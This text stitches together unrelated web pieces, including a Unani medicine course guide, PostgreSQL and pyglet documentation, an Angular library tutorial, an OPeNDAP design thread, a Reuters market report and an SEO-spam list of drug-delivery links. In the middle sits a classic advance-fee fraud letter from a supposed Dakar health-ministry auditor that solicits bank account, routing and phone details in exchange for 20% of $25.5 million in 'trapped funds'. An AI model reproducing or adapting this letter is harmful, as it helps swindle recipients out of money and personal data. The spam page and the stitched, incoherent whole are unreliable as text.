BUMS stands for Bachelor of Unani Medicine and Surgery.In this course, the students are taught about the various techniques and procedures that are involved in the Unani medicine practice.
Some of the subjects taught include Regimental therapy (ilaj -bit- Tadbeer), Pharmacotherapy (ilaj-bit-Dawa), Dietotherapy (ilaj-bil-Ghiza), Surgery (Jarahat), etc. Knowledge of Venesection, Cupping, Diaphoresis, Diuresis, Turkish bath, Massage, Cauterization, Purging, Emesis, Exercise, Leeching, is given in-depth to the students. This course of BUMS falls under Ayurveda, Yoga & Naturopathy, Unani, Siddha, and Homeopathy (AYUSH) and is controlled and monitored by the Central Council of Indian Medicine. This is a system of alternative medicines similar to Ayurveda. It follows the principle of four elements which are - signs, symptoms, laboratory features, and mijaz, to diagnose treating any disease.
BUMS is 4.5 years long Bachelor level degree along with 1 year of internship, in which students are taught about the basic types of Unani treatments. The various topics include Exercise, Cupping, Diaphoresis, Diuresis, Turkish bath, etc. Students who have successfully completed their 10+2 (intermediate) from a recognized board of education are eligible for this bachelor course of Unani Medicine & Surgery.
Key Points of BUMS
Duration: 4.5 Years+1Year.
Minimum Eligibility: Minimum 50% in 10+2 with Physics, Chemistry, Biology and English.
Admission Process: Through Entrance Exams.
Top Entrance Exams: NEET, CPAT.
Top Universities and Colleges: Maharashtra University of Health Sciences, Jamia Hamdard, Sanskriti University, Dr. NTR University of Health Sciences, etc.
Average Annual Fees: INR 50,000 to INR 6,30,000.
Common Jobs Profiles: Hakeem, Lecturer, Consultant, Scientist, Private Practice, Pharmacist, Therapist, etc.
Average Annual Salary: INR 3,00,000 to INR 10,00,000.
BUMS Admission Process
Students get admission for the BUMS course on the basis of Entrance Exams. Most of the colleges also release a cut off percentage in 10+2 for the admission process. Students who are able to fulfill the cut off percentage in their 10+2 score are considered eligible to get the admission. Some of the state level and national level exams include NEET, KEAM (state level exam), CPAT, CPMEE, etc for admission in the BUMS course. Entrance exams have objective type questions from Physics, Chemistry and Biology.
The stepwise admission process is discussed below.
Step 1 - Apply for the entrance exam: Students must apply for the entrance exam of the colleges where they wish to get admission. The notification for the application is generally released in the month of January-February.
Step 2 - After Qualifying the entrance exam, apply for the counselling process: After the results of entrance exams are declared, the counselling process will be started, where the candidates will have to apply.
Step 3 - Shortlisting Process: The candidates who will be alloted seats during the counselling process will be called for document verification and seat confirmation.
Step 4 - Enrollment: The eligible students will be granted admission to the course.
BUMS Entrance Exams
NEET- National Eligibility cum Entrance Test is the pre-medical test through which the students in India are able to get admission in medical courses. This is a national level entrance exam.
KEAM - Kerala Engineering Architecture Medical is an entrance exam that allows students to join Engineering, Architecture and Ayurvedic and Unani Medical courses in the state of Kerala.
CPAT - Combined Pre-AYUSH Test, this entrance exam allows the students who are seeking admission to UG courses that are under the AYUSH system – BUMS, BAMS, and BHMS.
CPMEE – Through this entrance exam, the students can get admission in MBBS courses in Homeopathy, Unani, etc. in any college in Uttarakhand.
Further Study Options: MD or MS in related specialisations.
College Name Location Average Annual Fees
Dr. Sarvapalli Radhakrishnan Rajasthan Ayurved University Jaipur INR 1,30,000
Maharashtra University of Health Sciences Nashik INR 23,000
Dr. NTR University of Health Sciences Vijayawada INR 60,000
Deoband Unani Medical College Saharanpur INR 2,04,000
Jamia Hamdard University New Delhi INR 155,000
The future prospects of this course are good. The graduates have the opportunity in the sectors like Unani Medical Colleges, Unani Clinic, Unani Charitable Institutions, Unani Consultancies, Unani Research Institutes, etc. Some of the common job designations include Hakeem, Lecturer, Consultant, Scientist, Private practice, Pharmacist, Therapist. After completing this course, if the candidate wants to study further, then he or she can do a MD or MS in related specialisation. After completing Master’s, they can even go for a PhD and become teachers in Unani Medical Colleges.


| PostgreSQL 9.0.10 Documentation | ||||
|---|---|---|---|---|
| Prev | Up | Appendix F. Additional Supplied Modules | Next |
The pg_stat_statements module provides a means for tracking execution statistics of all SQL statements executed by a server.
The module must be loaded by adding pg_stat_statements to shared_preload_libraries in postgresql.conf, because it requires additional shared memory. This means that a server restart is needed to add or remove the module.
The statistics gathered by the module are made available via a system view named pg_stat_statements. This view contains one row for each distinct query text, database ID, and user ID (up to the maximum number of distinct statements that the module can track). The columns of the view are shown in Table F-20.
Table F-20. pg_stat_statements columns
| Name | Type | References | Description |
|---|---|---|---|
| userid | oid | pg_authid.oid | OID of user who executed the statement |
| dbid | oid | pg_database.oid | OID of database in which the statement was executed |
| query | text | Text of the statement (up to track_activity_query_size bytes) | |
| calls | bigint | Number of times executed | |
| total_time | double precision | Total time spent in the statement, in seconds | |
| rows | bigint | Total number of rows retrieved or affected by the statement | |
| shared_blks_hit | bigint | Total number of shared blocks hits by the statement | |
| shared_blks_read | bigint | Total number of shared blocks reads by the statement | |
| shared_blks_written | bigint | Total number of shared blocks writes by the statement | |
| local_blks_hit | bigint | Total number of local blocks hits by the statement | |
| local_blks_read | bigint | Total number of local blocks reads by the statement | |
| local_blks_written | bigint | Total number of local blocks writes by the statement | |
| temp_blks_read | bigint | Total number of temp blocks reads by the statement | |
| temp_blks_written | bigint | Total number of temp blocks writes by the statement |
This view, and the function pg_stat_statements_reset
,
are available only in databases they have been specifically installed into
by running the pg_stat_statements.sql install script.
However, statistics are tracked across all databases of the server
whenever the pg_stat_statements module is loaded
into the server, regardless of presence of the view.
For security reasons, non-superusers are not allowed to see the text of queries executed by other users. They can see the statistics, however, if the view has been installed in their database.
Note that statements are considered the same if they have the same text, regardless of the values of any out-of-line parameters used in the statement. Using out-of-line parameters will help to group statements together and may make the statistics more useful.
pg_stat_statements_reset() returns void
pg_stat_statements_reset
discards all statistics
gathered so far by pg_stat_statements.
By default, this function can only be executed by superusers.
pg_stat_statements.max is the maximum number of statements tracked by the module (i.e., the maximum number of rows in the pg_stat_statements view). If more distinct statements than that are observed, information about the least-executed statements is discarded. The default value is 1000. This parameter can only be set at server start.
pg_stat_statements.track controls which statements are counted by the module. Specify top to track top-level statements (those issued directly by clients), all to also track nested statements (such as statements invoked within functions), or none to disable. The default value is top. Only superusers can change this setting.
pg_stat_statements.track_utility controls whether utility commands are tracked by the module. Utility commands are all those other than SELECT, INSERT, UPDATE and DELETE. The default value is on. Only superusers can change this setting.
pg_stat_statements.save specifies whether to save statement statistics across server shutdowns. If it is off then statistics are not saved at shutdown nor reloaded at server start. The default value is on. This parameter can only be set in the postgresql.conf file or on the server command line.
The module requires additional shared memory amounting to about pg_stat_statements.max * track_activity_query_size bytes. Note that this memory is consumed whenever the module is loaded, even if pg_stat_statements.track is set to none.
In order to set any of these parameters in your postgresql.conf file, you will need to add pg_stat_statements to custom_variable_classes. Typical usage might be:
# postgresql.conf shared_preload_libraries = 'pg_stat_statements' custom_variable_classes = 'pg_stat_statements' pg_stat_statements.max = 10000 pg_stat_statements.track = all
bench=# SELECT pg_stat_statements_reset(); $ pgbench -i bench $ pgbench -c10 -t300 -M prepared bench bench=# \x bench=# SELECT query, calls, total_time, rows, 100.0 * shared_blks_hit / nullif(shared_blks_hit + shared_blks_read, 0) AS hit_percent FROM pg_stat_statements ORDER BY total_time DESC LIMIT 5; -[ RECORD 1 ]--------------------------------------------------------------------- query | UPDATE pgbench_branches SET bbalance = bbalance + $1 WHERE bid = $2; calls | 3000 total_time | 9.60900100000002 rows | 2836 hit_percent | 99.9778970000200936 -[ RECORD 2 ]--------------------------------------------------------------------- query | UPDATE pgbench_tellers SET tbalance = tbalance + $1 WHERE tid = $2; calls | 3000 total_time | 8.015156 rows | 2990 hit_percent | 99.9731126579631345 -[ RECORD 3 ]--------------------------------------------------------------------- query | copy pgbench_accounts from stdin calls | 1 total_time | 0.310624 rows | 100000 hit_percent | 0.30395136778115501520 -[ RECORD 4 ]--------------------------------------------------------------------- query | UPDATE pgbench_accounts SET abalance = abalance + $1 WHERE aid = $2; calls | 3000 total_time | 0.271741999999997 rows | 3000 hit_percent | 93.7968855088209426 -[ RECORD 5 ]--------------------------------------------------------------------- query | alter table pgbench_accounts add primary key (aid) calls | 1 total_time | 0.08142 rows | 0 hit_percent | 34.4947735191637631
Takahiro Itagaki <itagaki.takahiro@oss.ntt.co.jp>


This purpose of this project was to help me demonstrate mastery of basic CSS tecnhiques by using CSS to position and style the elements of a HTML page to create an elegant visual presentation of the poem "Kubla Khan" by Samuel Taylor Coleridge. I was encouraged not to edit the HTML file.
The portions of this assignment that were particularly difficult were understanding was how to format the “box model” layout on the project by using CSS properties that changed the specific portions of the HTML file that I was wanted to affect instead of simply changing the HTML on the project files.


Angular Library
Angular CLI
provides us with methods that allow the creation of a library. After that, using either packet manager (npm
or yarn
) the library can be build and packed which will allow later to install/publish it.
Whats a library?
From wikipedia: a library is a collection of non-volatile resources used by computer programs, often for software development. These may include configuration data, documentation, help data, message templates, pre-written code and subroutines, classes, values or type specifications.
How to build a library
In this section, a library is going to be build step by step.
Creating an empty application
First, using Angular CLI
we are going to generate a empty application which will be later filled with the generated library. In order to do so, Angular CLI
allows us to add to ng new "application-name"
an option (--create-application
). This option is going to tell Angular CLI
not to create the initial app
project. This is convenient since a library is going to be generated in later steps. Using this command ng new "application-name" --create-application=false
an empty project with the name wanted is created.
ng new "application-name" --create-application=false
Generating a library
After generating an empty application, a library is going to be generated. Inside the folder of the project, the Angular CLI
command ng generate library "library-name"
is going to generate the library as a project (projects/"library-name"
). As an addition, the option --prefix="library-prefix-wanted"
allows us to switch the default prefix that Angular generated with (lib
). Using the option to change the prefix the command will look like this ng generate library "library-name" --prefix="library-prefix-wanted"
.
ng generate library "library-name" --prefix="library-prefix-wanted"
Generating/Modifying in our library
In the last step we generated a library. This generates automaticly a module
,service
and component
inside (projects/"library-name"
) that we can modify adding new methods, components etc that we want to use in other projects. We can generate other elements, using the usual Angular CLI
generate commands adding the option --project="library-name"
is going to allow to generate elements within our project . An example of this is: ng generate service "name" --project="library-name"
.
ng generate "element" "name" --project="library-name"
Exporting the generated things
Inside the library (projects/"library-name
) theres a public_api.ts
which is the file that exports the elements inside the library. In case we generated other things, that file needs to be modified adding the extra exports with the generated elements. In addition, changing the library version is possible in the file package.json
.
Building our library
Once we added the necessary exports, in order to use the library in other applications, we need to build the library. The command ng build "library-name"
is going to build the library, generating in "project-name"/dist/"library-name"
the necessary files.
ng build "library-name"
Packing the library
In this step we are going to pack the build library. In order to do so, we need to go inside dist/"library-name"
and then run either npm pack
or yarn pack
to generate a "library-name-version.tgz"
file.
npm pack
yarn pack
Publishing to npm repository (optional)
-
Add a README.md and LICENSE file. The text inside README.md will be used in you npm package web page as documentation.
-
run
npm adduser
if you do not have a npm account to create it, otherwise runnpm login
and introduce your credentials. -
run
npm publish
insidedist/"library-name"
folder. -
Check that the library is published: https://npmjs.com/package/library-name
Installing our library in other projects
In this step we are going to install/add the library on other projects.
npm
In order to add the library in other applications, there are two ways:
-
Option 1: From inside the application where the library is going to get used, using the command
npm install "path-to-tgz"/"library-name-version.tgz"
allows us to install the.tgz
generated in Packing the library. -
Option 2: run
npm install "library-name"
to install it from npm repository.
yarn
To add the package using yarn:
-
Option 1: From inside the application where the library is going to get used, using the command
yarn add "path-to-tgz"/"library-name-version.tgz"
allows us to install the.tgz
generated in Packing the library. -
Option 2: run
yarn add "library-name"
to install it from npm repository.
Using the library
Finally, once the library was installed with either packet manager, you can start using the elements from inside like they would be used in a normal element inside the application. Example app.component.ts
:
import { Component, OnInit } from '@angular/core';
import { MyLibraryService } from 'my-library';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.scss']
})
export class AppComponent implements OnInit {
toUpper: string;
constructor(private myLibraryService: MyLibraryService) {}
title = 'devon4ng library test';
ngOnInit(): void {
this.toUpper = this.myLibraryService.firstLetterToUpper('test');
}
}
Example app.component.html
:

Welcome to {{ title }}!

<img width="300" alt="Angular Logo" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNTAgMjUwIj4KICAgIDxwYXRoIGZpbGw9IiNERDAwMzEiIGQ9Ik0xMjUgMzBMMzEuOSA2My4ybDE0LjIgMTIzLjFMMTI1IDIzMGw3OC45LTQzLjcgMTQuMi0xMjMuMXoiIC8+CiAgICA8cGF0aCBmaWxsPSIjQzMwMDJGIiBkPSJNMTI1IDMwdjIyLjItLjFWMjMwbDc4LjktNDMuNyAxNC4yLTEyMy4xTDEyNSAzMHoiIC8+CiAgICA8cGF0aCAgZmlsbD0iI0ZGRkZGRiIgZD0iTTEyNSA1Mi4xTDY2LjggMTgyLjZoMjEuN2wxMS43LTI5LjJoNDkuNGwxMS43IDI5LjJIMTgzTDEyNSA1Mi4xem0xNyA4My4zaC0zNGwxNy00MC45IDE3IDQwLjl6IiAvPgogIDwvc3ZnPg==">

Here is my library service being used: {{toUpper}}

<lib-my-library></lib-my-library>
Example app.module.ts
:
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { MyLibraryModule } from 'my-library';
@NgModule({
declarations: [
AppComponent
],
imports: [
BrowserModule,
AppRoutingModule,
MyLibraryModule
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
The result from using the library:
devon4ng libraries
In devonfw/devon4ng-library you can find some useful libraries:
-
Authorization module: This devon4ng Angular module adds rights-based authorization to your Angular app.
-
Cache module: Use this devon4ng Angular module when you want to cache requests to server. You may configure it to store in cache only the requests you need and to set the duration you want.


FROM THE DESK OF DR.MOHAMED NDEYE AUDITOR, FEDERAL MINISTRY OF HEALTH AND SOCIAL SERVICES, DAKAR SENEGAL. DEAR FRIEND. LETTER FOR URGENT ASSISTANCE ON FUND TRANSFER First,i must solicit your strictest confidence in this transaction.This by viture of its nature as being utterly confidential and TOP SECRET. I got your contact in our search for a foriegn partner who has the ability and reliability to prosecute a transaction of great magnitude involving a pending business transaction requiring maximum confidence. We are top officials of the Federal Ministry of Health and social services Dakar Senegal, We are intrested in ivestments in your country with funds which are presently trapped here Senegal in other to commence this business we solicit your assistance to enable us transfer into your account the said trapped funds. The source of this fund is as follows: During our last year Auditing, we find out that some government officials set up companies and awarded themselves contracts which were grossly over invoiced in various Ministries, We also identified a lot of inflated contracts funds which are presently Deposited in a BANK here in Dakar However,by virture of our position as civil servants and members of the panel ,we cannot acquire this money in our name.I have therefore ,been delegated as a matter of trust by my colleagues of the panel to look for an overseas patner into whose account we would transfer the total sum of USD$25,500,000.00 [TWENTY FIVE MILLION,FIVE HUNDRED THOUSAND UNITED STATES DOLLARS]. Hence we are writting you this letter.We agreed to share the money thus: [1] 20% FOR THE ACCOUNT OWNER [YOU] [2] 80% FOR US [THEOFFICALS] It is from the 80% that we wish to commense investments in your country as you will also stand as our foriegn agent over there.Please note that this transaction is 100% safe and we hope to commense the transaction latest seven[7]days from the date of the receipt of the following information bellow. [A] COMPANY�S NAME BENEFICIARY OF ACCOUNT. [B] YOUR PERSONAL TELEPHONE NUMBER AND FAX NUMBERS. [C] BANK ACCOUNT/SORT/ABA/ROUTING NUMBERS WHICH THE FUND WILL BE TRANSFERED TO . [D]YOUR BANK ADDRESS,TELEPHONE NUMBERS/FAX NUMBERS. The above information will enable us commense the transfer of this funds into your account in your country without delay and also to open an account in your name. We are looking forward to doing this business with you and solict your confidentiality in this transaction. Please acknowledge the receipt of this letter using the above email address,I will bring you into the complete picture of this pending project when i hear from you. With Kind regards, DR.MOHAMED NDEYE


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This document was last updated on Jan 15, 2019


John wrote:
At Unidata, our main use of OPeNDAP is remote access of datasets, using the NetCDF API on the client. We want to open a local NetCDF file or a remote OPeNDAP dataset, and have these be essentially equivilent. So the following thoughts are from the perspective of NetCDF state management.
In this context, what should a client application do if it discovers that the dataset has changed? Generally, the DDX information has already escaped the
opendap/netcdf layer. When the application makes a new call into the opendap/netcdf layerlayer, which discovers the change, what should happen? The
opendap/netcdf layer could refetch the DDX and examine the changes and try to figure out the best thing to do. This can be a hard thing to do. Otherwise it
must give an error back to the application, which will have to re-fetch the metadata, rebuild its GUI, notify the user, etc. Thats a lot of burden on the
application, and not the best user experience. So how can we minimize when that has to happen?
Suppose we implement a "Last-Modified" or a DDX checksum, or some way to indicate that the dataset has changed. In my aggregation server scenario,
this would happen every 15 minutes. In fact, we have datasets that change even more often. So this would be happening all the time.
If I return to thinking about my specific case of the aggregation server, I see that its not all that bad:
So when I look at the specifics of this, I see that I can mitigate the problem completely if im willing to work hard enough on the server. But it seems that
I do need to keep track of users, i.e sessions. The principle would be: "If the dataset can change, the server must set a session cookie. If
the client establishes a session by returning the cookie, the server must keep the client's view of the dataset from changing during the lifetime of the
session"
Adding Last-Modified or DDX checksum seems like also a good idea, so that clients that are smart enough can deal with changed datasets, eg discover recently
arrived data, etc. Here the principle might be: "If the dataset can change, the server must set the Last-Modified/DDX checksum header, and
update it whenever the dataset changes. Its up to the client whether to refetch the DDX or not."
So, what are the consequences of this proposal?
This would seem to be (at least to me) pretty difficult to manage in practice. What happens if a client accesses the server with a cookie that is, say, 2 days old? Will the server have to fix up the data to be compatible with the 2 day old DDX?
How exactly would that work? This would be especially troublesome with deleted data -- the server can't be prevented from deleting data until the client is done because it has no way of knowing /when/ the client is done.
And what about aggregations of other OPeNDAP servers? Will those servers also have to support session cookies as well?Id say that a server should support sessions if their data can change.
At some point, the server has to give up and tell the client that the DDX is stale and the client will have to handle that. Since the client has to handle this anyway, why not avoid all the complexity and cookies and just use the Last-Modified header?
How does the C or Java netCDF library handle the case where process A reads the header from a netCDF file, process B modifies the file (for example, removes a variable) and then process A attempts to read the removed variable? This seems (somewhat) similar to me and perhaps the OpenDap netCDF library could use the same semantics.
In principle you could write readers that could handle netcdf files being simultaneously modified in arbitrary ways. In practice it doesn't happen, and I would
say it would be a mistake, that you would be adding too much complexity, and you should use a database or something else for that case.
There is one case where this makes sense, which is when new records are being appended along the unlimited dimension. In that case, the reader can do a
synch() call (in Java, I think C is similar) to discover what the values of the unlimited dimension is.
Ok, let me think through again the possibility of just using the Last-Modified header. Suppose that the client sees that the Last-Modified changed, and gets
a new DDX. It checks for my common case that the file has merely been appended to. This is a non-trivial check, but doable. If thats the case, it just keep
track of that in case the client calls synch(). If the DDX has changed in an incompatible way, it has to send an error to the application. In my scenario
below, this would only happen once a day (file deletion) and if files arrive out of order.
So maybe this could work. The biggest fly in the ointment is that its not sufficient to just test the DDX, you also have to check the coordinate data in order
to detect if files arrive out of order. You might consider these two tests to be specific to my server, should they become part of the client libraries? If
not, then each application has to implement them. Are there other ways that a file might commonly change?
In a sense, the question is do you put the burden on the client or the server to deal with changing datasets? You will probably be influenced by whether you
write clients or servers, and whether your client is stateless or stateful (eg netCDF).
Conversation with John, Peter Cornillon, James Gallagher:
Peter Cornillon wrote:
Would it be possible to add "Last modified" and "How modified" attributes via something like the old .das file. Of course clients would have to know about the attributes and how to use them, but that is really no different from knowing about other metadata associated with the data set. So the client would get the "Last modified" attribute and then when it makes a data request, would get the new version and compare it with the old one. If things have changed it would get the "How modified" attribute and determine how to proceed. A data set that has been deleted could have a dummy URL associated with it that would deliver a DDX with, say, a variable called dummy and the "How modified" attribute would have the value "Deleted". This dummy URL could be kept around for a while. Another alternative would be to pass this information in an error message. The bottom line is that the client is going to have to address the issue that the data set has changed in some fashion, so it's really a question of how much work is going to be required of the client.
John wrote:
Adding a "How modified" could really help the client more easily do the right thing when things change. Putting "Last modified" and "How modified" into an attribute vs using HTTP headers has its tradeoffs. Does it have to fetch the DAS each time it makes a data request? Or does that attribute get sent along with the data DDS?
What should the values of "How modified" be? I would need something like:
1) Appended <dimName>
2) Reordered <dimName>
3) Deleted <dimName?>
Peter wrote
I'm not sure how this will be handled in the new version of OPeNDAP. The idea that I was promoting is really based on a convention rather than something that is added to the protocol. It would be similar in nature to COARDS. The convention could also be that two variables be added to any data set that changes. One might even make it part of COARDS. Then, the client would look for these variables. If they are not present, it would assume, maybe incorrectly, that the data set is not changing or at least not changing quickly. If they are present, the client would download the two variables to determine how to proceed.
James wrote:
The idea of How-Modified is interesting. One thing to keep in mind is that Last-Modified is part of HTTP/1.1 and we have to respect it's current meaning. How-Modified is our own deal; we can put it in the DDX (which holds attributes as well as variables) or headers or whatever.
Regarding the introduction of sessions to the protocol, I think this can be handled so that it does not make the DAP a fundamentally stateful protocol, which I think is important.
Suppose we introduce the idea that a client MAY get a cookie from a server, indicating that a session as been created by it's request. It MAY include that cookie with future requests, indicating to a server that it requests the server honor the previous session, making the current response relative to the data source's state at the time the cookie was issued (I know, I used the word ;-) . In this case the server MUST either honor the request OR return an error. There's no requirement that a server support sessions and no requirement that a client support them either. The DAP still has fundamentally stateless behavior, but also has the capability to tell certain servers, 'Hey, I was here before and this is what things looked like then.' Most servers won't support this, and neither will most clients (my guess) but some will and it looks like an important capability.
Ppersonally I have a strong aversion to the inclusion of state in any transport/access protocol. It generally introduces more problems than it solves. However, the addition of an optional (completely) session is consistent with other technologies and has proven to be a successful solution for those without making things (much) worse. Two things that come to mid are HTTP 1.1 persistent connections and caching. If I knew more about other protocols, I might have more examples. My guess is that there's some cautionary evidence lurking in CORBA...
The checksum idea seemed like it might be useful in this context, but it was proposed for dealing with data sources that are essentially static but _might_ change over the span of several years. How can a person know about such a change? In effect these are similar to the SHA1SUMs we provide with the tar.gz source files. So we should not loose sight of the checksums in all of this. They are still useful, just not so much for this problem.
John wrote:
Yes, this would solve my problem in the Agg Server, thanks for summarizing it concisely. You might add that if the session is established, the server should make a best effort not to let the dataset change during the duration of the session.
I will go ahead and try to implement this in the Agg Server, and report on any further problems encountered before we make a final decision on it. Im pretty sure it will be easy enough to return cookies in the client libraries, so I will likely also modify the java netcdf/opendap client library. That way I will have a complete test of the idea.
John wrote:
Heres a summary of where I am on this project:
If you remember, the problem is to keep the opendap dataset metadata from changing in a way that gives erroneous results silently, for the case that a client
has a stateful view of the dataset, e.g. the netcdf-opendap clients.
In my server, I had already implemented caching of datasets, so that repeated requests to the same dataset would be efficient. Normally I would lock the
dataset for the duration of the request, then immediately release it. What I do now is to reserve the dataset object for that particular client by not
releasing it until the session expires. I then know what metadata the client assumes, and can satisfy that if possible, and give an error message if not.
It was quite easy to modify Java DODS DConnect class to add support for session cookies. Just a few lines of code, and it only happens if the client enables
it.
In the normal session negotiation, the server offers a cookie when it gets the first client request, and if the client returns the cookie, the server
establishes the session. In the Tomcat framework, every request generates a session object, which times out if the cookie is not returned. I was worried
somewhat about the overhead of this. More importantly, it meant that I couldnt immediately lock the dataset, but had to wait to see if the client returned the
cookie. For those 2 reasons, I decided to have the client send a header to indicate that it would, indeed accept cookies. So when the client sends a request,
it adds the header:
X-Accept-Session: true
This allows me to immediately lock the dataset, and to not bother creating a session if the header is absent. I put the dataset object into the session
object, and retrieve it every request. The session automatically times out after 30 minutes.
It seemed silly to have the dataset stay locked an extra 30 minutes when most of the time the client library knows exactly when its done, namely when the
client calls close() on the dataset. So I wanted to send a message when close() was called. I decided to just add a new suffix ".close" to the
dataset name on a GET call. When the server sees this, it unlocks the dataset and terminates the session.
So in summary:
Java-DODS Client Library:
TDS Server :


Stock futures move higher as trade deal hopes rise
U.S. stock index futures rose on Monday as expectations of a trade truce were strengthened by a report that the world's two largest economies were "very close" to a deal, while jeweler Tiffany surged after agreeing to a sale.
REUTERS: U.S. stock index futures rose on Monday as expectations of a trade truce were strengthened by a report that the world's two largest economies were "very close" to a deal, while jeweler Tiffany surged after agreeing to a sale.
Beijing and Washington were nearing a "phase one" trade deal, a Chinese state-backed tabloid said, lifting the mood further after a U.S. national security adviser said on Saturday that a pact was still possible by the end of the year.
Trade-sensitive chip stocks, including Advanced Micro Devices Inc , Micron Technology Inc and Applied Materials Inc , rose between 0.7per cent and 1per cent in premarket trading.
Last week the benchmark S&P 500 snapped a six-week winning streak and the tech-heavy Nasdaq registered its first weekly drop in eight weeks amid conflicting reports over the trade truce.
Trade deal hopes and robust third-quarter corporate earnings had helped Wall Street's main indexes hit record highs this month.
At 7:12 a.m. ET, Dow e-minis were up 69 points, or 0.25per cent. S&P 500 e-minis were up 6.75 points, or 0.22per cent and Nasdaq 100 e-minis were up 26 points, or 0.31per cent.
Shares of Tesla Inc rose 5per cent premarket after Chief Executive Elon Musk indicated in a tweet on Sunday that the carmaker received 200,000 orders for its electric pickup truck within three days of launch.
Tiffany & Co gained 5.8per cent after the luxury jeweler agreed to a sweetened US$16.2 billion deal with France's LVMH .
U.S. discount brokerage TD Ameritrade Holding Corp was up 2per cent after larger rival Charles Schwab Corp said it would buy the company in an all-stock deal valued at about US$26 billion. Schwab was down about 1per cent.
Uber Technologies Inc fell 4.2per cent as the ride-hailing company was stripped of its London operating license for the second time in just over two years.
Netflix Inc slipped 0.8per cent after Wells Fargo downgraded the shares of the streaming service to "underperform" from "market perform".
(Reporting by Arjun Panchadar in Bengaluru; Editing by Sriraj Kalluvila)


“I notice little worms carrying tufts and feathers; I make out some with flabby fins constantly flapping on their backs. What are they all doing there? What are their names? I do not know. And I stare at them for ever so long, held by the incomprehensible mystery of the waters.” — J Henri Fabre, The Life Of The Fly


I am obsessed about picking up new skills and pushing them until a
certain level. I have been a top player in sports and e-sports, and
I apply the same principles on other domains.
Sharing my learnings along the way and hearing from people facing
similar challenges is something I love.
Unfortunately, finding people that share the same level of focus and
obsession is hard. Deliberate practice over a long period of time is
not common nowadays.
Toptile helps you being surrounded by people aiming for the top
percentile so you can reach your goals.
Everything is yet to be built. By joining today you will get early
access to the community and start your journey towards the top.


| Trees | Indices | Toggle frames |
|---|
Determine if the window should be closed.
This event handler watches for the ESC key or the window close event and sets self.has_exit to True when either is pressed. An instance of this class is automatically attached to all new pyglet.window.Window objects.
Deprecated: This class's functionality is provided directly on Window in pyglet 1.1.
| on_close(self) | |
| on_key_press(self, symbol, modifiers) |
| bool |
has_exit = False
True if the user wants to close the window.
|
| Trees | Indices | Toggle frames |
|---|
| Generated by Epydoc 3.0beta1 on Sun Mar 22 20:15:42 2009 | http://epydoc.sourceforge.net |


--- layout: post title: "How to Deepfake Yourself" subtitle: "" date: 2019-01-23 12:00:00 -0800 hero: "/img/deepfakes/ats_spread_mockup_8.jpg" permalink: /work/how_to_deepfake_yourself/ ---
A deep-dive into deepfakes.
Category: Book design
Instructor: Brad Bartlett
Year: 2019
A deepfake is an AI-generated video where one face is mapped onto another. The results often have an unreal quality. This is a book investigating deepfakes, computer vision, and related technologies.
Graduating ArtCenter caused more self-reflection and anxiety than I expected. By embodying successful figures in design and technology, could I shortcut the whole job hunting process and propel my career?


James w'. McGinity," PhD - American Academy of Veterinary ...
-delivery systems. The development of novel delivery systems for veterinary . Advanced drug delivery systems possess several advantages over conventional .
http://www.aavpt.org/symposia/documents/McGinity70-78.pdf
Treatment for Herniated or Bulging Discs
Recent Advances in Novel Drug Delivery Systems
Mar 25, 2006 . These new strategies, often called drug delivery systems (DDS), are . benefits of nanotechnology in providing vast improvements in drug .
http://www.azonano.com/article.aspx?ArticleID=1538
Novel Drug Delivery System for Anticancer Drug: A Review
Abstract: Novel drug delivery systems (NDDS) have many benefits, which include improved therapy by increasing the efficacy and duration of drug activity, .
http://www.sphinxsai.com/2012/pharmAJ/PHARM/PT=04[542-553]AJ12.pdf
novel drug delivery system advantages Herniated or Bulging Discs
Microencapsulation as a novel drug delivery system
solving the problems related towards the release of the drug at specific site with specific rate. Novel drug delivery systems have various advantages over other .
http://www.ipharmsciencia.com/Dacuments/1/1.pdf
Pharmaceutics and Novel Drug Delivery Systems Conference 2013
Nov 29, 2012 . The novel drug delivery deals with latest advances in ways for therapeutic . The usefulness of drug delivery systems is based on the ability to .
http://www.nanotech-now.com/news.cgi?story_id=46475
Novel drug delivery systems in topical treatment of psoriasis: Rigors ...
Nov 12, 2010 . Katare OP, Raza K, Singh B, Dogra S. Novel drug delivery systems in . Apart from projected advantages, the novel carriers have associated .
http://www.ijdvl.com/article.asp?issn=0378-6323;year=2010;volume=76;issue=6;spage=612;epage=621;aulast=Katare
Official Impairment Listing for Spinal Disorders
Novel Drug delivery systems flashcards | Quizlet
Vocabulary words for Novel Drug delivery systems. Includes .
http://quizlet.com/1768623/novel-drug-delivery-systems-flash-cards/
- tuna and butter bean salad (narrowing of the spine)
miraculous therapeutic effects of herbal drugs using novel
of adverse effects especially of a drug with small therapeutic index whenever over medication occur. Advantages of novel drug delivery systems. 1.
http://www.irjponline.com/admin/php/uploads/833_pdf.pdforal colon targeted drug delivery system - Journal of Pharmaceutical ...
Oct 7, 2012 . novel and emerging technologies for colon targeting of drug molecule. Treatment of . Advantages of colon targeting drug delivery system over .
http://jpsionline.com/admin/php/uploads/117_pdf.pdf
Niosome A Novel Drug Delivery System - Home-International ...
1.2) Limitations of novel drug delivery system : Through there are number of advantages in NDDS system, there are a few factors that limit its usage. 1. Variable .
http://www.iiste.org/Journals/index.php/ISDE/article/download/288/169
Medicated Chewing Gum: A Novel Drug Delivery System
medical chewing gum, active substances. It offers various advantages over conventional drug delivery systems. Unlike chewable tablets, medicated chewing .
http://www.japsonline.com/admin/php/uploads/544_pdf.pdf
Medical-Vocational Allowance for Herniated Disc
Review Novel drug delivery system for the vesicular ... - URP Journals
Review. Novel drug delivery system for the vesicular delivery of drug by the niosomes . vesicular systems as they offer the following advantages. [23,24] such .
http://urpjournals.com/tocjnls/31_1.pdf
Novel Drug Delivery Systems for Glaucoma
May 31, 2011 . This study tells us about some new, novel drug delivery methods and . we discuss benefits and limitations of the current systems of delivery .
http://www.medscape.com/viewarticle/743072
Importance of novel drug delivery systems in herbal medicines
If the herbs themselves or the purified phytopharmaceuticals or phytosomes are incorporated in novel drug delivery systems, we can get the benefits of both.
http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3249899/
Appealing a Denial of Benefits
DENDRIMER: A NOVEL DRUG DELIVERY SYSTEM
